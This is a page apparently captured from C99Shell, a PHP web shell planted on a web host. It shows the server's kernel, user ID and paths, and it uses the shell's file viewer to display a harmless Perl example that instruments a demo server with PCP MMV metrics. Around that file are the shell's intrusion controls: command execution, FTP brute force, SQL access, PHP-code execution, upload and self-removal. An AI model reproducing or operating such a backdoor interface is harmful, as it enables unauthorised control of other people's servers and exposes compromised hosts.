!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib64/perl5/vendor_perl/PCP/   drwxr-xr-x
Free 6182.06 GB of 6263.27 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     server.pl (2.82 KB)      -r-xr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
#
# Example server application that demonstrates use of the
# Perl PCP MMV module for runtime instrumentation.
#

use strict;
use warnings;
use PCP::MMV;
use Time::HiRes qw ( usleep );

my @db_instances = ( 0 => "tempdb", 1 => "datadb" );

my $db_indom = 1;
my @indoms = (
    [ $db_indom, \@db_instances,
    'Database instances',
    'An instance domain for each database used by this server.',
    ],
);

my @metrics = (
    [ 'response_time.requests',
    1, MMV_TYPE_U64, MMV_INDOM_NULL,
    mmv_units(0,0,1,0,0,MMV_COUNT_ONE), MMV_SEM_COUNTER,
    'Number of server requests processed', ''
    ],
    [ 'response_time.total',
    2, MMV_TYPE_U64, MMV_INDOM_NULL,
    mmv_units(0,0,1,0,0,MMV_COUNT_ONE), MMV_SEM_COUNTER,
    'Maximum observed response time in milliseconds', ''
    ],
    [ 'response_time.maximum',
    3, MMV_TYPE_DOUBLE, MMV_INDOM_NULL,
    mmv_units(0,1,0,0,MMV_TIME_MSEC,0), MMV_SEM_INSTANT,
    'Maximum observed response time in milliseconds', ''
    ],
    [ 'version',
    4, MMV_TYPE_STRING, MMV_INDOM_NULL,
    mmv_units(0,0,0,0,0,0), MMV_SEM_DISCRETE,
    'Version number of the server process', ''
    ],
    [ 'database.transactions.count',
    5, MMV_TYPE_U64, $db_indom,
    mmv_units(0,0,1,0,0,MMV_COUNT_ONE), MMV_SEM_COUNTER,
    'Number of requests issued to each database', ''
    ],
    [ 'database.transactions.time',
    6, MMV_TYPE_U64, $db_indom,
    mmv_units(0,1,0,0,MMV_TIME_MSEC,0), MMV_SEM_COUNTER,
    'Total time spent waiting for results from each database', ''
    ],
    [ 'idletime',
    7, MMV_TYPE_U64, MMV_INDOM_NULL,
    mmv_units(0,1,0,0,MMV_TIME_USEC,0), MMV_SEM_COUNTER,
    'Total time spent asleep, in-between requests', ''
    ],
);

my $handle = mmv_stats_init('server', 0, MMV_FLAG_PROCESS, \@metrics, \@indoms);
die("mmv_stats_init failed\n") unless (defined($handle));

mmv_stats_set_string($handle, 'version', '', '7.4.2-5');

my $maxtime = 0.0;    # milliseconds

for (;;) {

    my $idletime = 0.0;    # microseconds
    my $dbtime = 0.0;    # milliseconds
    my $response = 0.0;


    # start a request ...

    $dbtime = rand 1000;    # milliseconds
    $response += $dbtime;
    mmv_stats_inc($handle, 'database.transactions.count', 'tempdb');
    mmv_stats_add($handle, 'database.transactions.time', 'tempdb', $dbtime);

    # ... more work, involving a second DB request ...
    $dbtime = rand 1000;    # milliseconds
    $response += $dbtime;
    mmv_stats_inc($handle, 'database.transactions.count', 'datadb');
    mmv_stats_add($handle, 'database.transactions.time', 'datadb', $dbtime);

    # ... request completed


    $response += rand 42;    # milliseconds
    mmv_stats_inc($handle, 'response_time.requests', '');
    mmv_stats_add($handle, 'response_time.total', '', $response);
    if ($response > $maxtime) {
        $maxtime = $response;
        mmv_stats_set($handle, 'response_time.maximum', '', $maxtime);
    }

    $idletime = rand 50000;    # microseconds
    usleep($idletime);
    mmv_stats_add($handle, 'idletime', '', $idletime);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0115 ]--